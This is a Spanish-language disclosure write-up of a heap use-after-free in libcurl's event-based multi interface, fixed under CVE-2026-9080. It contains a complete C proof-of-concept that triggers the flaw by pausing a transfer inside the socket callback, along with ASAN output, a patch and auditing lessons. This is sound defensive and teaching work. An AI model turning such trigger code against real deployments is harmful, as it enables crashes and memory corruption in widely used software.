Resumen
El fallo está en lib/multi_ev.c, el código de libcurl que gestiona los sockets en la interfaz multi orientada a eventos. La función mev_sh_entry_update() avisa a la aplicación de que un socket cambia de estado llamando al callback que esta haya registrado con CURLMOPT_SOCKETFUNCTION. Cuando el callback vuelve, la función escribe en la estructura mev_sh_entry que tenía entre manos sin comprobar si sigue existiendo.
El problema aparece si la aplicación llama a curl_easy_pause() dentro de ese callback, algo que la documentación oficial permite expresamente:
"Unlike most other libcurl functions, curl_easy_pause(3) can be used from within callbacks."
curl_easy_pause() vuelve a entrar en la lógica de evaluación de sockets (Curl_multi_ev_assess_xfer() → mev_assess()). Esa ruta no comprueba en ningún momento la marca multi->in_callback: se activa con mev_in_callback(), pero nadie la consulta dentro de multi_ev.c. Si al pausar la recepción la transferencia se queda sin nada que vigilar (no hay que leer y ya no queda nada por enviar), mev_pollset_diff() decide olvidar el socket y la entrada acaba liberada:
mev_pollset_diff() → mev_forget_socket() → mev_sh_entry_kill() → free(entry)
Al volver del callback, mev_sh_entry_update() escribe en memoria ya liberada:
/* lib/multi_ev.c */
mev_in_callback(multi, TRUE);
rc = multi->socket_cb(data, s, comboaction,
multi->socket_userp, entry->user_data); /* fires app callback */
mev_in_callback(multi, FALSE);
entry->announced = TRUE; /* UAF WRITE — entry may be freed (line 275) */
if(rc == -1) { ... }
entry->action = (unsigned int)comboaction; /* UAF WRITE (line 280) */
Las dos escrituras tienen historia distinta, según el reporte:
entry->action(línea 280) es vulnerable desde la reescritura demulti_even la versión 8.13.0 (commitcfc657a48d, 2 de abril de 2025).entry->announced(línea 275) se añadió en la 8.16.0 (commit3d302250ec, 10 de septiembre de 2025). Es la que AddressSanitizer detecta primero: al ser un campo de bits, el compilador genera una lectura seguida de una escritura, y por eso el informe de ASAN habla de unREAD of size 1.
Datos del caso:
- Programa: curl
- CVE: CVE-2026-9080
- Debilidad: Use After Free (CWE-416)
- Severidad asignada: baja
- Versiones afectadas: de la 8.13.0 a la 8.20.0
- Enviado: 19 de mayo de 2026. Divulgado: 24 de junio de 2026.
Pasos de reproducción
- Compilar libcurl con AddressSanitizer (
-fsanitize=address). En el ejemplo del investigador, la biblioteca compilada queda enbuild-asan/lib.
- Guardar como
poc_uaf.cel siguiente programa. Es autónomo: levanta un servidor HTTP mínimo en127.0.0.1en un hilo propio, registra un callback de sockets y, la primera vez que libcurl pide vigilar lectura (CURL_POLL_IN) sobre el socket de la transferencia, llama acurl_easy_pause(easy, CURLPAUSE_RECV):
/*
* poc_uaf.c
*
* Trigger: call curl_easy_pause(easy, CURLPAUSE_RECV) from inside
* CURLMOPT_SOCKETFUNCTION. When the socket transitions from POLL_OUT to
* POLL_IN (request sent, response pending), pausing recv empties the
* transfer's poll-set, causing mev_forget_socket() to free the mev_sh_entry
* that mev_sh_entry_update() is still about to write to.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <curl/curl.h>
static int g_server_port;
static void *server_thread(void *arg)
{
int lfd = *(int *)arg;
char buf[4096];
for(;;) {
int cfd = accept(lfd, NULL, NULL);
if(cfd < 0)
break;
(void)recv(cfd, buf, sizeof(buf), 0);
const char *resp =
"HTTP/1.1 200 OK\r\n"
"Content-Length: 512\r\n"
"Connection: close\r\n"
"\r\n";
(void)send(cfd, resp, strlen(resp), 0);
memset(buf, 'X', 512);
(void)send(cfd, buf, 512, 0);
close(cfd);
}
return NULL;
}
static int start_server(void)
{
static int lfd;
lfd = socket(AF_INET, SOCK_STREAM, 0);
int opt = 1;
setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
struct sockaddr_in a = {0};
a.sin_family = AF_INET;
a.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
a.sin_port = 0;
bind(lfd, (struct sockaddr *)&a, sizeof(a));
listen(lfd, 8);
socklen_t len = sizeof(a);
getsockname(lfd, (struct sockaddr *)&a, &len);
g_server_port = ntohs(a.sin_port);
pthread_t t;
pthread_create(&t, NULL, server_thread, &lfd);
pthread_detach(t);
return lfd;
}
#define MAX_FDS 64
struct ctx {
CURLM *multi;
int still_running;
curl_socket_t fds[MAX_FDS];
int actions[MAX_FDS];
int nfds;
int pause_fired;
int iterations;
};
static void fd_add(struct ctx *c, curl_socket_t s, int action)
{
for(int i = 0; i < c->nfds; i++) {
if(c->fds[i] == s) { c->actions[i] = action; return; }
}
if(c->nfds < MAX_FDS) {
c->fds[c->nfds] = s;
c->actions[c->nfds] = action;
c->nfds++;
}
}
static void fd_del(struct ctx *c, curl_socket_t s)
{
for(int i = 0; i < c->nfds; i++) {
if(c->fds[i] == s) {
c->nfds--;
c->fds[i] = c->fds[c->nfds];
c->actions[i] = c->actions[c->nfds];
return;
}
}
}
static int sock_cb(CURL *easy, curl_socket_t s, int what,
void *userp, void *socketp)
{
struct ctx *c = userp;
(void)socketp;
if(what == CURL_POLL_REMOVE) { fd_del(c, s); return 0; }
fd_add(c, s, what);
if(!c->pause_fired && (what & CURL_POLL_IN)) {
/*
* The first POLL_IN may be the multi handle's internal wakeup pipe
* (admin handle, conn==NULL); curl_easy_pause() returns
* CURLE_BAD_FUNCTION_ARGUMENT and the re-entrant path is not taken.
* Leave pause_fired=0 and retry on the next POLL_IN, which will be
* the actual transfer socket (conn!=NULL).
*/
CURLcode rc = curl_easy_pause(easy, CURLPAUSE_RECV);
if(rc == CURLE_OK)
c->pause_fired = 1;
}
return 0;
}
static int timer_cb(CURLM *m, long ms, void *u) { (void)m;(void)ms;(void)u; return 0; }
static size_t write_cb(char *p, size_t sz, size_t n, void *u) { (void)p;(void)u; return sz*n; }
int main(void)
{
start_server();
curl_global_init(CURL_GLOBAL_DEFAULT);
struct ctx c = {0};
c.multi = curl_multi_init();
curl_multi_setopt(c.multi, CURLMOPT_SOCKETFUNCTION, sock_cb);
curl_multi_setopt(c.multi, CURLMOPT_SOCKETDATA, &c);
curl_multi_setopt(c.multi, CURLMOPT_TIMERFUNCTION, timer_cb);
curl_multi_setopt(c.multi, CURLMOPT_TIMERDATA, &c);
CURL *easy = curl_easy_init();
char url[64];
snprintf(url, sizeof(url), "http://127.0.0.1:%d/test", g_server_port);
curl_easy_setopt(easy, CURLOPT_URL, url);
curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(easy, CURLOPT_VERBOSE, 0L);
curl_multi_add_handle(c.multi, easy);
curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);
while(c.still_running && c.iterations < 2000) {
c.iterations++;
fd_set rfds, wfds;
FD_ZERO(&rfds); FD_ZERO(&wfds);
int maxfd = -1;
for(int i = 0; i < c.nfds; i++) {
curl_socket_t s = c.fds[i];
int a = c.actions[i];
if(a & CURL_POLL_IN) { FD_SET(s, &rfds); if((int)s > maxfd) maxfd = s; }
if(a & CURL_POLL_OUT) { FD_SET(s, &wfds); if((int)s > maxfd) maxfd = s; }
}
if(maxfd < 0) {
usleep(5000);
curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);
continue;
}
struct timeval tv = { .tv_sec = 0, .tv_usec = 50000 };
int rc = select(maxfd + 1, &rfds, &wfds, NULL, &tv);
if(rc < 0) { if(errno == EINTR) continue; break; }
if(rc == 0) {
curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);
continue;
}
curl_socket_t ready_s[MAX_FDS]; int ready_ev[MAX_FDS]; int nready = 0;
for(int i = 0; i < c.nfds && nready < MAX_FDS; i++) {
curl_socket_t s = c.fds[i];
int ev = 0;
if(FD_ISSET(s, &rfds)) ev |= CURL_CSELECT_IN;
if(FD_ISSET(s, &wfds)) ev |= CURL_CSELECT_OUT;
if(ev) { ready_s[nready] = s; ready_ev[nready] = ev; nready++; }
}
for(int i = 0; i < nready; i++)
curl_multi_socket_action(c.multi, ready_s[i], ready_ev[i], &c.still_running);
}
curl_multi_remove_handle(c.multi, easy);
curl_easy_cleanup(easy);
curl_multi_cleanup(c.multi);
curl_global_cleanup();
return 0;
}
Un detalle del callback: el primer CURL_POLL_IN puede corresponder a la tubería interna con la que libcurl despierta al handle multi, no a la transferencia. En ese caso curl_easy_pause() devuelve CURLE_BAD_FUNCTION_ARGUMENT y no se recorre la ruta problemática, así que el programa lo vuelve a intentar con el siguiente CURL_POLL_IN, que ya es el socket real.
- Compilarlo contra la libcurl instrumentada y ejecutarlo:
cc -g -fsanitize=address -fno-omit-frame-pointer poc_uaf.c \
-Iinclude -Ibuild-asan/lib -Lbuild-asan/lib -lcurl-d \
-Wl,-rpath,$(pwd)/build-asan/lib -o poc_uaf
ASAN_OPTIONS=halt_on_error=1:print_stacktrace=1 ./poc_uaf
- Cuando la petición ya se ha enviado y el socket pasa de esperar escritura a esperar lectura, el callback pausa la recepción, la entrada se libera y ASAN se detiene al volver a
mev_sh_entry_update(). Fragmento de la salida:
==59330==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b00000342c at pc 0x000100c9bde4 bp 0x00016fb5d390 sp 0x00016fb5d388
READ of size 1 at 0x60b00000342c thread T0
#0 0x000100c9bde0 in mev_sh_entry_update multi_ev.c:275
#1 0x000100c99c14 in mev_pollset_diff multi_ev.c:360
#2 0x000100c97900 in mev_assess multi_ev.c:512
#3 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
#4 0x000100c96930 in multi_run_dirty multi.c:3203
#5 0x000100c84e2c in multi_socket multi.c:3265
#6 0x000100c851e4 in curl_multi_socket_action multi.c:3445
#7 0x0001002a1758 in main poc_uaf.c:276
0x60b00000342c is located 92 bytes inside of 104-byte region [0x60b0000033d0,0x60b000003438)
freed by thread T0 here:
#0 0x000101065424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib)
#1 0x000100c584c4 in curl_dbg_free memdebug.c:385
#2 0x000100c98ed4 in mev_sh_entry_dtor multi_ev.c:78
#3 0x000100bd3b98 in hash_elem_clear_ptr hash.c:129
#4 0x000100bd43d0 in hash_elem_destroy hash.c:137
#5 0x000100bd4278 in Curl_hash_delete hash.c:225
#6 0x000100c9c3d4 in mev_sh_entry_kill multi_ev.c:123
#7 0x000100c98b08 in mev_forget_socket multi_ev.c:207
#8 0x000100c9a7d4 in mev_pollset_diff multi_ev.c:420
#9 0x000100c97900 in mev_assess multi_ev.c:512
#10 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
#11 0x000100b942dc in curl_easy_pause easy.c:1183
#12 0x0001002a2044 in sock_cb poc_uaf.c:181
#13 0x000100c9bd80 in mev_sh_entry_update multi_ev.c:272
...
SUMMARY: AddressSanitizer: heap-use-after-free multi_ev.c:275 in mev_sh_entry_update
La traza de liberación lo deja claro: dentro de mev_sh_entry_update() (línea 272) se llama a sock_cb, este llama a curl_easy_pause() y desde ahí se llega a free() de la misma entrada que se usa en la línea 275.
Impacto
Es un use-after-free en el montículo: libcurl escribe en una zona de memoria de 104 bytes que ya ha liberado (el campo de bits announced y el campo action). Para que ocurra, la aplicación tiene que usar la interfaz multi con callback de sockets (CURLMOPT_SOCKETFUNCTION) y pausar la transferencia desde ese callback, un uso que la documentación permite. El reporte no describe una explotación más allá de la corrupción de memoria detectada por ASAN, y el programa le asignó severidad baja.
Remediación
El investigador propuso volver a buscar la entrada en la tabla hash después del callback en lugar de fiarse del puntero anterior. El descriptor s sigue siendo válido porque es un valor copiado en la pila; lo único que puede haber caducado es el puntero entry, que pertenece a la tabla. Además, la comprobación de rc == -1 se adelanta para que un callback que pide abortar se siga notificando aunque la entrada ya no exista:
--- a/lib/multi_ev.c
+++ b/lib/multi_ev.c
@@ -271,9 +271,14 @@ static CURLMcode mev_sh_entry_update(...)
mev_in_callback(multi, TRUE);
rc = multi->socket_cb(data, s, comboaction, multi->socket_userp,
entry->user_data);
mev_in_callback(multi, FALSE);
- entry->announced = TRUE;
if(rc == -1) {
multi->dead = TRUE;
return CURLM_ABORTED_BY_CALLBACK;
}
+ /* curl_easy_pause() is documented as callable from any callback; it
+ * re-enters mev_assess() which may free this entry. Re-fetch. */
+ entry = mev_sh_entry_get(&multi->ev.sh_entries, s);
+ if(!entry)
+ return CURLM_OK;
+ entry->announced = TRUE;
entry->action = (unsigned int)comboaction;
return CURLM_OK;
El reporte figura como resuelto y se le asignó el CVE-2026-9080. El original no indica en qué versión de curl se publicó la corrección.
Qué aprender de este caso
- En bibliotecas que llaman a código del usuario, revisa qué hace la función justo después de que el callback vuelva: cualquier puntero a una estructura propiedad de una tabla (aquí
entry) puede haberse quedado colgando si el callback tiene permitido volver a entrar en la biblioteca. - Cruza la documentación con el código: si una función como
curl_easy_pause()se declara "segura dentro de callbacks", busca todos los callbacks desde los que se puede llamar y comprueba que cada ruta de reentrada lo soporta. - Una marca del tipo
in_callbackque se activa pero nunca se consulta es una pista directa: o sobra, o falta una comprobación en algún sitio. Buscar dónde se lee es un buen primer paso al auditar. - Al programar, después de un callback vuelve a obtener los objetos por su clave estable (aquí el descriptor
s) en lugar de reutilizar punteros guardados antes, y trata el caso de que ya no existan.